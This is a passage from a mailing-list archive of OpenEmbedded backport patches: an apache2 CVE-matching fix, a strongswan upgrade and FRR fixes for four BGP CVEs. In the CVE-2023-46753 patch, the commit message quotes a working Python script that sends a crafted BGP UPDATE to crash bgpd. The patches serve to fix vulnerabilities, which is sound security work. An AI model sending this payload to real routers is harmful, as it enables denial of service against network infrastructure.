([2600:1700:9190:ba10:2080:c728:4a66:97cc]) by smtp.gmail.com with ESMTPSA id d13-20020a81ab4d000000b005e71fbbc661sm8570683ywk.143.2023.12.29.11.02.46 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Fri, 29 Dec 2023 11:02:46 -0800 (PST) From: Armin Kuster To: openembedded-devel@lists.openembedded.org Cc: Jeffrey Pautler , Khem Raj Subject: [meta-oe][nanbield][PATCH 14/17] apache2: add vendor to product name used for CVE checking Date: Fri, 29 Dec 2023 14:02:27 -0500 Message-Id: <20231229190230.135480-15-akuster808@gmail.com> X-Mailer: git-send-email 2.34.1 In-Reply-To: <20231229190230.135480-1-akuster808@gmail.com> References: <20231229190230.135480-1-akuster808@gmail.com> MIME-Version: 1.0 List-Id: X-Webhook-Received: from li982-79.members.linode.com [45.33.32.79] by aws-us-west-2-korg-lkml-1.web.codeaurora.org with HTTPS for ; Fri, 29 Dec 2023 19:02:50 -0000 X-Groupsio-URL: https://lists.openembedded.org/g/openembedded-devel/message/107896 From: Jeffrey Pautler This recipe sets the product name used for CVE checking to "http_server". However, the cve-check logic matches that name to all products in the CVE database regardless of vendor. Currently, it is matching to products from vendors other than apache. As a result, CVE checking incorrectly reports CVEs for those vendors' products for this package. Signed-off-by: Jeffrey Pautler Signed-off-by: Khem Raj (cherry picked from commit 51f70eaaa5973e385645f574093ee860f5648f88) Signed-off-by: Armin Kuster --- meta-webserver/recipes-httpd/apache2/apache2_2.4.57.bb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/meta-webserver/recipes-httpd/apache2/apache2_2.4.57.bb b/meta-webserver/recipes-httpd/apache2/apache2_2.4.57.bb index 00f8aaa415..bbc1c6c48a 100644 --- a/meta-webserver/recipes-httpd/apache2/apache2_2.4.57.bb +++ b/meta-webserver/recipes-httpd/apache2/apache2_2.4.57.bb @@ -36,7 +36,7 @@ inherit autotools update-rc.d pkgconfig systemd update-alternatives DEPENDS = "openssl expat pcre apr apr-util apache2-native " -CVE_PRODUCT = "http_server" +CVE_PRODUCT = "apache:http_server" SSTATE_SCAN_FILES += "apxs config_vars.mk config.nice" From patchwork Fri Dec 29 19:02:28 2023 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit X-Patchwork-Submitter: akuster808 X-Patchwork-Id: 37086 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on aws-us-west-2-korg-lkml-1.web.codeaurora.org Received: from aws-us-west-2-korg-lkml-1.web.codeaurora.org (localhost.localdomain [127.0.0.1]) by smtp.lore.kernel.org (Postfix) with ESMTP id E1EEAC47073 for ; Fri, 29 Dec 2023 19:02:49 +0000 (UTC) Received: from mail-yw1-f181.google.com (mail-yw1-f181.google.com [209.85.128.181]) by mx.groups.io with SMTP id smtpd.web10.156016.1703876569091645166 for ; Fri, 29 Dec 2023 11:02:49 -0800 Authentication-Results: mx.groups.io; dkim=pass header.i=@gmail.com header.s=20230601 header.b=chbeM8EX; spf=pass (domain: gmail.com, ip: 209.85.128.181, mailfrom: akuster808@gmail.com) Received: by mail-yw1-f181.google.com with SMTP id 00721157ae682-5e82f502a4cso45944097b3.0 for ; Fri, 29 Dec 2023 11:02:49 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20230601; t=1703876568; x=1704481368; darn=lists.openembedded.org; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:cc:to:from:from:to:cc:subject:date :message-id:reply-to; bh=sJNDVDRrO9sKpZTB55c91+Ep/FvQCP53nojLAKWglxg=; b=chbeM8EXbIVzhxrncGeFIx2g24VN+Cuk7DDdtHHjJulCz1ldN/N7tzyLNq2k1WIv4k fLNAyCZIGVqx205XF/KvOyG5XbQQJ+bLelRNW0LrCr4vLxUXwmFzpDkVh0gtFaTHR4Yi YbHoqA80iZtpq9px1Ek+AldNGW3yxUd21k8to4wbpWzBYux5inCxnRftTA18XkkjcvAF 9p6zPmCGe7JkltVR8xCQ2f658iCpaorohWonKEwMF/r+RfonaDxuihzj5H/WKIWTMg+d BJmyjsjIySJFatROVR4Kbbu7sLHGv0JiDnJsni/9BoySEL1PJ48J2EypsIj65FrjWrT8 6j5w== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20230601; t=1703876568; x=1704481368; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:cc:to:from:x-gm-message-state:from:to:cc :subject:date:message-id:reply-to; bh=sJNDVDRrO9sKpZTB55c91+Ep/FvQCP53nojLAKWglxg=; b=EFfjY3kdo8ZdJlNkohYAQtuXz9rgEtiHt2TnFbMvbm5p6MLD0KlFopXmfMY3E6PB6z JYtM4hHhBmzl/6wF3KYMfMTMUn6y6wS5k91NnOXD6N+AXsLRUFhLk96R0WcfkHcLbmdO D9IaPdau95dhDoygrN5bjAFc5badWE+hckY8haQMVxBXCKSOibSNPhzDEy6lEYIAlonJ NIziqZ1liKzadsFNDzVrhWcOauthhAxT6uKQq+dFBpXQGKvzUVo7RWXPGq8w/B5D1Hc2 /R/e1p1r7kZITgsDGw4T3USdyaxKCunD2XBy2nbvT71fl5zgU95KNyUbKooVbn1CZ7PH 70FQ== X-Gm-Message-State: AOJu0YySfl3ZCtYW8Mlyu4mGpgJiTDZBPKELUb3Rna/nVZfivAmmB16y 5KIrSpuT84hhejL3lTZyWFKIlqpZIFBzHA== X-Google-Smtp-Source: AGHT+IE8IKt7LAdQaMYBVchsMXxleiFp5CbGW5LLDVnTh0LoGIYFmrQb/y8zEfFk9ERzQbZRDaxg8w== X-Received: by 2002:a81:6fd7:0:b0:5d9:7528:e3a7 with SMTP id k206-20020a816fd7000000b005d97528e3a7mr5206277ywc.84.1703876568068; Fri, 29 Dec 2023 11:02:48 -0800 (PST) Received: from keaua.caveonetworks.com ([2600:1700:9190:ba10:2080:c728:4a66:97cc]) by smtp.gmail.com with ESMTPSA id d13-20020a81ab4d000000b005e71fbbc661sm8570683ywk.143.2023.12.29.11.02.47 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Fri, 29 Dec 2023 11:02:47 -0800 (PST) From: Armin Kuster To: openembedded-devel@lists.openembedded.org Cc: Wang Mingyu , Khem Raj Subject: [meta-oe][nanbield][PATCH 15/17] strongswan: upgrade 5.9.11 -> 5.9.12 Date: Fri, 29 Dec 2023 14:02:28 -0500 Message-Id: <20231229190230.135480-16-akuster808@gmail.com> X-Mailer: git-send-email 2.34.1 In-Reply-To: <20231229190230.135480-1-akuster808@gmail.com> References: <20231229190230.135480-1-akuster808@gmail.com> MIME-Version: 1.0 List-Id: X-Webhook-Received: from li982-79.members.linode.com [45.33.32.79] by aws-us-west-2-korg-lkml-1.web.codeaurora.org with HTTPS for ; Fri, 29 Dec 2023 19:02:49 -0000 X-Groupsio-URL: https://lists.openembedded.org/g/openembedded-devel/message/107897 From: Wang Mingyu Changelog: ========== - Fixed a vulnerability in charon-tkm related to processing DH public values that can lead to a buffer overflow and potentially remote code execution. - The new `pki --ocsp` command produces OCSP responses based on certificate status information provided by plugins. - The cert-enroll script handles the initial enrollment of an X.509 host certificate with a PKI server via the EST or SCEP protocols. - The --priv argument for charon-cmd allows using any type of private key. - Support for nameConstraints of type iPAddress has been added (the openssl plugin previously didn't support nameConstraints at all). - SANs of type uniformResourceIdentifier can now be encoded in certificates. - Password-less PKCS#12 and PKCS#8 files are supported. - A new global option allows preventing peers from authenticating with trusted end-entity certificates (i.e. local certificates). - ECDSA public keys that encode curve parameters explicitly are now rejected by all plugins that support ECDSA. - charon-nm now actually uses the XFRM interfaces added with 5.9.10, it can also use the name in connection.interface-name. - The resolve plugin tries to maintain the order of installed DNS servers. - The kernel-libipsec plugin always installs routes even if no address is found in the local traffic selectors. - Increased the default receive buffer size for Netlink sockets to 8 MiB and simplified its configuration. - Copy the issuer's subjectKeyIdentifier as authorityKeyIdentifier instead of always generating a hash of the subjectPublicKey. - Fixed issues while reestablishing multiple CHILD_SAs (e.g. after a DPD timeout) that could cause a reqid to get assigned to multiple CHILD_SAs with unrelated traffic selectors. - Fixed a possible infinite loop issue in watcher_t and removed WATCHER_EXCEPT, instead callbacks are always invoked even if only errors are signaled. - Fixed a regression in the IKE_SA_INIT tracking code added with 5.9.6 when handling invalid messages. - Fixed adding the XFRMA_REPLAY_ESN_VAL attribute twice when updating SAs. - Correctly encode SPI from REKEY_SA notify in CHILD_SA_NOT_FOUND notify if CHILD_SA is not found during rekeying. - The testing environment is now based on Debian 12 (bookworm), by default. Signed-off-by: Wang Mingyu Signed-off-by: Khem Raj (cherry picked from commit 077489fda8f27336942457da1eaa022804f327c2) Signed-off-by: Armin Kuster --- .../strongswan/{strongswan_5.9.11.bb => strongswan_5.9.12.bb} | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) rename meta-networking/recipes-support/strongswan/{strongswan_5.9.11.bb => strongswan_5.9.12.bb} (99%) diff --git a/meta-networking/recipes-support/strongswan/strongswan_5.9.11.bb b/meta-networking/recipes-support/strongswan/strongswan_5.9.12.bb similarity index 99% rename from meta-networking/recipes-support/strongswan/strongswan_5.9.11.bb rename to meta-networking/recipes-support/strongswan/strongswan_5.9.12.bb index fb1bea2d87..87d12bc6c8 100644 --- a/meta-networking/recipes-support/strongswan/strongswan_5.9.11.bb +++ b/meta-networking/recipes-support/strongswan/strongswan_5.9.12.bb @@ -11,7 +11,7 @@ DEPENDS:append = "${@bb.utils.contains('DISTRO_FEATURES', 'tpm2', ' tpm2-tss', SRC_URI = "https://download.strongswan.org/strongswan-${PV}.tar.bz2 \ " -SRC_URI[sha256sum] = "ddf53f1f26ad26979d5f55e8da95bd389552f5de3682e35593f9a70b2584ed2d" +SRC_URI[sha256sum] = "5e6018b07cbe9f72c044c129955a13be3e2f799ceb53f53a4459da6a922b95e5" UPSTREAM_CHECK_REGEX = "strongswan-(?P\d+(\.\d+)+)\.tar" From patchwork Fri Dec 29 19:02:29 2023 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit X-Patchwork-Submitter: akuster808 X-Patchwork-Id: 37095 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on aws-us-west-2-korg-lkml-1.web.codeaurora.org Received: from aws-us-west-2-korg-lkml-1.web.codeaurora.org (localhost.localdomain [127.0.0.1]) by smtp.lore.kernel.org (Postfix) with ESMTP id 2FECAC47074 for ; Fri, 29 Dec 2023 19:03:00 +0000 (UTC) Received: from mail-il1-f181.google.com (mail-il1-f181.google.com [209.85.166.181]) by mx.groups.io with SMTP id smtpd.web10.156017.1703876570332603391 for ; Fri, 29 Dec 2023 11:02:50 -0800 Authentication-Results: mx.groups.io; dkim=pass header.i=@gmail.com header.s=20230601 header.b=jQh73IAR; spf=pass (domain: gmail.com, ip: 209.85.166.181, mailfrom: akuster808@gmail.com) Received: by mail-il1-f181.google.com with SMTP id e9e14a558f8ab-3600902871fso17529425ab.2 for ; Fri, 29 Dec 2023 11:02:50 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20230601; t=1703876569; x=1704481369; darn=lists.openembedded.org; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:cc:to:from:from:to:cc:subject:date :message-id:reply-to; bh=G26z/oZ0Z4N+E/pQmF9A+LiSYCeQFixFuS3JF62Xquc=; b=jQh73IAReWRxcJXYMDQV+OvC/JBtIPINBuHMLxGSxjsmFQGtEzfYuAGmUbcFaDriG2 i8bPvGYFmYYJnE8vtiTYetUg9NOMvbf9L4xs7H+3VkuTNeJuoGB1+udwJuthuDPnfMW8 fu69ABwv4mdJ12FEVKyJmBat2F7lEJqbJWpGD28yiBc8m/8NHEaAf6SXHN32evpM7BzU nPO5GAkjIyHH3JaElnrzd53FBI5vp6xvrEgXQp0YJdLJLtXsqcvJLZvIj5oD7Nkdfy08 OHkIk6o+5Y4XlQAJuYUAG6OU7Susk5fJb+ysRzgrGNzK5kNDRWZHYWlx8eXhjviH643I 596w== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20230601; t=1703876569; x=1704481369; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:cc:to:from:x-gm-message-state:from:to:cc :subject:date:message-id:reply-to; bh=G26z/oZ0Z4N+E/pQmF9A+LiSYCeQFixFuS3JF62Xquc=; b=sm54ClZsFtsLZB+7oOY3JiGlGnUz8kTpxpVWphq+AZxIutnqt0w7G5IcYEeV0fUaym rKXD/9NjrXS/mviOrveJI8rW27AUErm5iJC0PPgATbKbbwgDUkQcYQrK9FLei3mQg8FT K+Vam8Z4lWtMDutEdIT8ukg7xdC6MmlZXcuGauJIEXtB+/B/9KccytEF5MiKvsXc2zG1 dKNYe81IwvmnMZkif5LhmbcCjJpuM0iNwqDk2CnXblUqbH9uctJ1eSXIz67IW+OE2ocm Uoqu8GPwtCLO+P4r+PnsUV9aT483lczDaQ1T2yt6HCyGeHqfIGe5lZuVTCPBzAzlDw0r K0/Q== X-Gm-Message-State: AOJu0Yz37DcDmgPQ9QNIxNEch6d10PN6J3UblXFHIaovNkwHqPXJIn/5 VRd1D+n4ErcllJohkEcAUDXQX03asemQwA== X-Google-Smtp-Source: AGHT+IFSwpP52OT5dWA88JpAOJzN9gw2anZ5CGlZWnOFN52+XFNjDYXztpk6313gWyiWAJRexA/ZlQ== X-Received: by 2002:a05:6e02:170e:b0:35f:ee35:4956 with SMTP id u14-20020a056e02170e00b0035fee354956mr9916262ill.11.1703876568985; Fri, 29 Dec 2023 11:02:48 -0800 (PST) Received: from keaua.caveonetworks.com ([2600:1700:9190:ba10:2080:c728:4a66:97cc]) by smtp.gmail.com with ESMTPSA id d13-20020a81ab4d000000b005e71fbbc661sm8570683ywk.143.2023.12.29.11.02.48 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Fri, 29 Dec 2023 11:02:48 -0800 (PST) From: Armin Kuster To: openembedded-devel@lists.openembedded.org Cc: Jonas Gorski , Khem Raj Subject: [meta-oe][nanbield][PATCH 16/17] frr: fix CVEs CVE-2023-4675{2,3} and CVE-2023-4723{4,5} Date: Fri, 29 Dec 2023 14:02:29 -0500 Message-Id: <20231229190230.135480-17-akuster808@gmail.com> X-Mailer: git-send-email 2.34.1 In-Reply-To: <20231229190230.135480-1-akuster808@gmail.com> References: <20231229190230.135480-1-akuster808@gmail.com> MIME-Version: 1.0 List-Id: X-Webhook-Received: from li982-79.members.linode.com [45.33.32.79] by aws-us-west-2-korg-lkml-1.web.codeaurora.org with HTTPS for ; Fri, 29 Dec 2023 19:03:00 -0000 X-Groupsio-URL: https://lists.openembedded.org/g/openembedded-devel/message/107898 From: Jonas Gorski Add patches fixing CVE CVE-2023-46752, CVE-2023-46753, CVE-2023-47234, and CVE-2023-47235 to FRR 9.0. Patch order is commit order, not CVE numerical order, to avoid fuzz / need for rebasing of the patches. References: https://nvd.nist.gov/vuln/detail/CVE-2023-46752 https://nvd.nist.gov/vuln/detail/CVE-2023-46753 https://nvd.nist.gov/vuln/detail/CVE-2023-47234 https://nvd.nist.gov/vuln/detail/CVE-2023-47235 Signed-off-by: Jonas Gorski Signed-off-by: Khem Raj (cherry picked from commit 00e928bcb7e933ada8e67f3bfa887988d1ca9d61) Signed-off-by: Armin Kuster --- .../frr/frr/CVE-2023-46752.patch | 125 ++++++++++++++++++ .../frr/frr/CVE-2023-46753.patch | 117 ++++++++++++++++ .../frr/frr/CVE-2023-47234.patch | 95 +++++++++++++ .../frr/frr/CVE-2023-47235.patch | 112 ++++++++++++++++ .../recipes-protocols/frr/frr_9.0.1.bb | 6 + 5 files changed, 455 insertions(+) create mode 100644 meta-networking/recipes-protocols/frr/frr/CVE-2023-46752.patch create mode 100644 meta-networking/recipes-protocols/frr/frr/CVE-2023-46753.patch create mode 100644 meta-networking/recipes-protocols/frr/frr/CVE-2023-47234.patch create mode 100644 meta-networking/recipes-protocols/frr/frr/CVE-2023-47235.patch diff --git a/meta-networking/recipes-protocols/frr/frr/CVE-2023-46752.patch b/meta-networking/recipes-protocols/frr/frr/CVE-2023-46752.patch new file mode 100644 index 0000000000..e1f30248ca --- /dev/null +++ b/meta-networking/recipes-protocols/frr/frr/CVE-2023-46752.patch @@ -0,0 +1,125 @@ +From b08afc81c60607a4f736f418f2e3eb06087f1a35 Mon Sep 17 00:00:00 2001 +From: Donatas Abraitis +Date: Fri, 20 Oct 2023 17:49:18 +0300 +Subject: [PATCH] bgpd: Handle MP_REACH_NLRI malformed packets with session + reset + +Avoid crashing bgpd. + +``` +(gdb) +bgp_mp_reach_parse (args=, mp_update=0x7fffffffe140) at bgpd/bgp_attr.c:2341 +2341 stream_get(&attr->mp_nexthop_global, s, IPV6_MAX_BYTELEN); +(gdb) +stream_get (dst=0x7fffffffe1ac, s=0x7ffff0006e80, size=16) at lib/stream.c:320 +320 { +(gdb) +321 STREAM_VERIFY_SANE(s); +(gdb) +323 if (STREAM_READABLE(s) < size) { +(gdb) +34 return __builtin___memcpy_chk (__dest, __src, __len, __bos0 (__dest)); +(gdb) + +Thread 1 "bgpd" received signal SIGSEGV, Segmentation fault. +0x00005555556e37be in route_set_aspath_prepend (rule=0x555555aac0d0, prefix=0x7fffffffe050, + object=0x7fffffffdb00) at bgpd/bgp_routemap.c:2282 +2282 if (path->attr->aspath->refcnt) +(gdb) +``` + +With the configuration: + +``` + neighbor 127.0.0.1 remote-as external + neighbor 127.0.0.1 passive + neighbor 127.0.0.1 ebgp-multihop + neighbor 127.0.0.1 disable-connected-check + neighbor 127.0.0.1 update-source 127.0.0.2 + neighbor 127.0.0.1 timers 3 90 + neighbor 127.0.0.1 timers connect 1 + address-family ipv4 unicast + redistribute connected + neighbor 127.0.0.1 default-originate + neighbor 127.0.0.1 route-map RM_IN in + exit-address-family +! +route-map RM_IN permit 10 + set as-path prepend 200 +exit +``` + +Reported-by: Iggy Frankovic +Signed-off-by: Donatas Abraitis +Upstream-Status: Backport [https://github.com/FRRouting/frr/commit/b08afc81c60607a4f736f418f2e3eb06087f1a35] +CVE: CVE-2023-46752 +Signed-off-by: Jonas Gorski +--- + bgpd/bgp_attr.c | 6 +----- + bgpd/bgp_attr.h | 1 - + bgpd/bgp_packet.c | 6 +----- + 3 files changed, 2 insertions(+), 11 deletions(-) + +diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c +index 6925aff727e2..e7bb42a5d989 100644 +--- a/bgpd/bgp_attr.c ++++ b/bgpd/bgp_attr.c +@@ -2421,7 +2421,7 @@ int bgp_mp_reach_parse(struct bgp_attr_parser_args *args, + + mp_update->afi = afi; + mp_update->safi = safi; +- return BGP_ATTR_PARSE_EOR; ++ return bgp_attr_malformed(args, BGP_NOTIFY_UPDATE_MAL_ATTR, 0); + } + + mp_update->afi = afi; +@@ -3759,10 +3759,6 @@ enum bgp_attr_parse_ret bgp_attr_parse(struct peer *peer, struct attr *attr, + goto done; + } + +- if (ret == BGP_ATTR_PARSE_EOR) { +- goto done; +- } +- + if (ret == BGP_ATTR_PARSE_ERROR) { + flog_warn(EC_BGP_ATTRIBUTE_PARSE_ERROR, + "%s: Attribute %s, parse error", peer->host, +diff --git a/bgpd/bgp_attr.h b/bgpd/bgp_attr.h +index 961e5f122470..fc347e7a1b4b 100644 +--- a/bgpd/bgp_attr.h ++++ b/bgpd/bgp_attr.h +@@ -364,7 +364,6 @@ enum bgp_attr_parse_ret { + /* only used internally, send notify + convert to BGP_ATTR_PARSE_ERROR + */ + BGP_ATTR_PARSE_ERROR_NOTIFYPLS = -3, +- BGP_ATTR_PARSE_EOR = -4, + }; + + struct bpacket_attr_vec_arr; +diff --git a/bgpd/bgp_packet.c b/bgpd/bgp_packet.c +index b585591e2f69..5ecf343b6657 100644 +--- a/bgpd/bgp_packet.c ++++ b/bgpd/bgp_packet.c +@@ -2397,8 +2397,7 @@ static int bgp_update_receive(struct peer_connection *connection, + * Non-MP IPv4/Unicast EoR is a completely empty UPDATE + * and MP EoR should have only an empty MP_UNREACH + */ +- if ((!update_len && !withdraw_len && nlris[NLRI_MP_UPDATE].length == 0) +- || (attr_parse_ret == BGP_ATTR_PARSE_EOR)) { ++ if (!update_len && !withdraw_len && nlris[NLRI_MP_UPDATE].length == 0) { + afi_t afi = 0; + safi_t safi; + struct graceful_restart_info *gr_info; +@@ -2419,9 +2418,6 @@ static int bgp_update_receive(struct peer_connection *connection, + && nlris[NLRI_MP_WITHDRAW].length == 0) { + afi = nlris[NLRI_MP_WITHDRAW].afi; + safi = nlris[NLRI_MP_WITHDRAW].safi; +- } else if (attr_parse_ret == BGP_ATTR_PARSE_EOR) { +- afi = nlris[NLRI_MP_UPDATE].afi; +- safi = nlris[NLRI_MP_UPDATE].safi; + } + + if (afi && peer->afc[afi][safi]) { +-- +2.42.1 + diff --git a/meta-networking/recipes-protocols/frr/frr/CVE-2023-46753.patch b/meta-networking/recipes-protocols/frr/frr/CVE-2023-46753.patch new file mode 100644 index 0000000000..6bf159aba8 --- /dev/null +++ b/meta-networking/recipes-protocols/frr/frr/CVE-2023-46753.patch @@ -0,0 +1,117 @@ +From d8482bf011cb2b173e85b65b4bf3d5061250cdb9 Mon Sep 17 00:00:00 2001 +From: Donatas Abraitis +Date: Mon, 23 Oct 2023 23:34:10 +0300 +Subject: [PATCH] bgpd: Check mandatory attributes more carefully for UPDATE + message + +If we send a crafted BGP UPDATE message without mandatory attributes, we do +not check if the length of the path attributes is zero or not. We only check +if attr->flag is at least set or not. Imagine we send only unknown transit +attribute, then attr->flag is always 0. Also, this is true only if graceful-restart +capability is received. + +A crash: + +``` +bgpd[7834]: [TJ23Y-GY0RH] 127.0.0.1 Unknown attribute is received (type 31, length 16) +bgpd[7834]: [PCFFM-WMARW] 127.0.0.1(donatas-pc) rcvd UPDATE wlen 0 attrlen 20 alen 17 +BGP[7834]: Received signal 11 at 1698089639 (si_addr 0x0, PC 0x55eefd375b4a); aborting... +BGP[7834]: /usr/local/lib/libfrr.so.0(zlog_backtrace_sigsafe+0x6d) [0x7f3205ca939d] +BGP[7834]: /usr/local/lib/libfrr.so.0(zlog_signal+0xf3) [0x7f3205ca9593] +BGP[7834]: /usr/local/lib/libfrr.so.0(+0xf5181) [0x7f3205cdd181] +BGP[7834]: /lib/x86_64-linux-gnu/libpthread.so.0(+0x12980) [0x7f3204ff3980] +BGP[7834]: /usr/lib/frr/bgpd(+0x18ab4a) [0x55eefd375b4a] +BGP[7834]: /usr/local/lib/libfrr.so.0(route_map_apply_ext+0x310) [0x7f3205cd1290] +BGP[7834]: /usr/lib/frr/bgpd(+0x163610) [0x55eefd34e610] +BGP[7834]: /usr/lib/frr/bgpd(bgp_update+0x9a5) [0x55eefd35c1d5] +BGP[7834]: /usr/lib/frr/bgpd(bgp_nlri_parse_ip+0xb7) [0x55eefd35e867] +BGP[7834]: /usr/lib/frr/bgpd(+0x1555e6) [0x55eefd3405e6] +BGP[7834]: /usr/lib/frr/bgpd(bgp_process_packet+0x747) [0x55eefd345597] +BGP[7834]: /usr/local/lib/libfrr.so.0(event_call+0x83) [0x7f3205cef4a3] +BGP[7834]: /usr/local/lib/libfrr.so.0(frr_run+0xc0) [0x7f3205ca10a0] +BGP[7834]: /usr/lib/frr/bgpd(main+0x409) [0x55eefd2dc979] +``` + +Sending: + +``` +import socket +import time + +OPEN = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" +b"\xff\xff\x00\x62\x01\x04\xfd\xea\x00\x5a\x0a\x00\x00\x01\x45\x02" +b"\x06\x01\x04\x00\x01\x00\x01\x02\x02\x02\x00\x02\x02\x46\x00\x02" +b"\x06\x41\x04\x00\x00\xfd\xea\x02\x02\x06\x00\x02\x06\x45\x04\x00" +b"\x01\x01\x03\x02\x0e\x49\x0c\x0a\x64\x6f\x6e\x61\x74\x61\x73\x2d" +b"\x70\x63\x00\x02\x04\x40\x02\x00\x78\x02\x09\x47\x07\x00\x01\x01" +b"\x80\x00\x00\x00") + +KEEPALIVE = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" +b"\xff\xff\xff\xff\xff\xff\x00\x13\x04") + +UPDATE = bytearray.fromhex("ffffffffffffffffffffffffffffffff003c0200000014ff1f001000040146464646460004464646464646664646f50d05800100010200ffff000000") + +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +s.connect(('127.0.0.2', 179)) +s.send(OPEN) +data = s.recv(1024) +s.send(KEEPALIVE) +data = s.recv(1024) +s.send(UPDATE) +data = s.recv(1024) +time.sleep(1000) +s.close() +``` + +Reported-by: Iggy Frankovic +Signed-off-by: Donatas Abraitis +Upstream-Status: Backport [https://github.com/FRRouting/frr/commit/d8482bf011cb2b173e85b65b4bf3d5061250cdb9] +CVE: CVE-2023-46753 +Signed-off-by: Jonas Gorski +--- + bgpd/bgp_attr.c | 10 ++++++---- + 1 file changed, 6 insertions(+), 4 deletions(-) + +diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c +index e7bb42a5d989..cf2dbe65b805 100644 +--- a/bgpd/bgp_attr.c ++++ b/bgpd/bgp_attr.c +@@ -3385,13 +3385,15 @@ bgp_attr_unknown(struct bgp_attr_parser_args *args) + } + + /* Well-known attribute check. */ +-static int bgp_attr_check(struct peer *peer, struct attr *attr) ++static int bgp_attr_check(struct peer *peer, struct attr *attr, ++ bgp_size_t length) + { + uint8_t type = 0; + + /* BGP Graceful-Restart End-of-RIB for IPv4 unicast is signaled as an + * empty UPDATE. */ +- if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag) ++ if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag && ++ !length) + return BGP_ATTR_PARSE_PROCEED; + + /* "An UPDATE message that contains the MP_UNREACH_NLRI is not required +@@ -3443,7 +3445,7 @@ enum bgp_attr_parse_ret bgp_attr_parse(struct peer *peer, struct attr *attr, + enum bgp_attr_parse_ret ret; + uint8_t flag = 0; + uint8_t type = 0; +- bgp_size_t length; ++ bgp_size_t length = 0; + uint8_t *startp, *endp; + uint8_t *attr_endp; + uint8_t seen[BGP_ATTR_BITMAP_SIZE]; +@@ -3831,7 +3833,7 @@ enum bgp_attr_parse_ret bgp_attr_parse(struct peer *peer, struct attr *attr, + } + + /* Check all mandatory well-known attributes are present */ +- ret = bgp_attr_check(peer, attr); ++ ret = bgp_attr_check(peer, attr, length); + if (ret < 0) + goto done; + +-- +2.42.1 + diff --git a/meta-networking/recipes-protocols/frr/frr/CVE-2023-47234.patch b/meta-networking/recipes-protocols/frr/frr/CVE-2023-47234.patch new file mode 100644 index 0000000000..754f9345a0 --- /dev/null +++ b/meta-networking/recipes-protocols/frr/frr/CVE-2023-47234.patch @@ -0,0 +1,95 @@ +From c37119df45bbf4ef713bc10475af2ee06e12f3bf Mon Sep 17 00:00:00 2001 +From: Donatas Abraitis +Date: Sun, 29 Oct 2023 22:44:45 +0200 +Subject: [PATCH] bgpd: Ignore handling NLRIs if we received MP_UNREACH_NLRI + +If we receive MP_UNREACH_NLRI, we should stop handling remaining NLRIs if +no mandatory path attributes received. + +In other words, if MP_UNREACH_NLRI received, the remaining NLRIs should be handled +as a new data, but without mandatory attributes, it's a malformed packet. + +In normal case, this MUST not happen at all, but to avoid crashing bgpd, we MUST +handle that. + +Reported-by: Iggy Frankovic +Signed-off-by: Donatas Abraitis +Upstream-Status: Backport [https://github.com/FRRouting/frr/commit/c37119df45bbf4ef713bc10475af2ee06e12f3bf] +CVE: CVE-2023-47234 +Signed-off-by: Jonas Gorski +--- + bgpd/bgp_attr.c | 19 ++++++++++--------- + bgpd/bgp_attr.h | 1 + + bgpd/bgp_packet.c | 7 ++++++- + 3 files changed, 17 insertions(+), 10 deletions(-) + +diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c +index 1473dc772502..75aa2ac7cce6 100644 +--- a/bgpd/bgp_attr.c ++++ b/bgpd/bgp_attr.c +@@ -3399,15 +3399,6 @@ static int bgp_attr_check(struct peer *peer, struct attr *attr, + !length) + return BGP_ATTR_PARSE_WITHDRAW; + +- /* "An UPDATE message that contains the MP_UNREACH_NLRI is not required +- to carry any other path attributes.", though if MP_REACH_NLRI or NLRI +- are present, it should. Check for any other attribute being present +- instead. +- */ +- if ((!CHECK_FLAG(attr->flag, ATTR_FLAG_BIT(BGP_ATTR_MP_REACH_NLRI)) && +- CHECK_FLAG(attr->flag, ATTR_FLAG_BIT(BGP_ATTR_MP_UNREACH_NLRI)))) +- return BGP_ATTR_PARSE_PROCEED; +- + if (!CHECK_FLAG(attr->flag, ATTR_FLAG_BIT(BGP_ATTR_ORIGIN))) + type = BGP_ATTR_ORIGIN; + +@@ -3426,6 +3417,16 @@ static int bgp_attr_check(struct peer *peer, struct attr *attr, + && !CHECK_FLAG(attr->flag, ATTR_FLAG_BIT(BGP_ATTR_LOCAL_PREF))) + type = BGP_ATTR_LOCAL_PREF; + ++ /* An UPDATE message that contains the MP_UNREACH_NLRI is not required ++ * to carry any other path attributes. Though if MP_REACH_NLRI or NLRI ++ * are present, it should. Check for any other attribute being present ++ * instead. ++ */ ++ if (!CHECK_FLAG(attr->flag, ATTR_FLAG_BIT(BGP_ATTR_MP_REACH_NLRI)) && ++ CHECK_FLAG(attr->flag, ATTR_FLAG_BIT(BGP_ATTR_MP_UNREACH_NLRI))) ++ return type ? BGP_ATTR_PARSE_MISSING_MANDATORY ++ : BGP_ATTR_PARSE_PROCEED; ++ + /* If any of the well-known mandatory attributes are not present + * in an UPDATE message, then 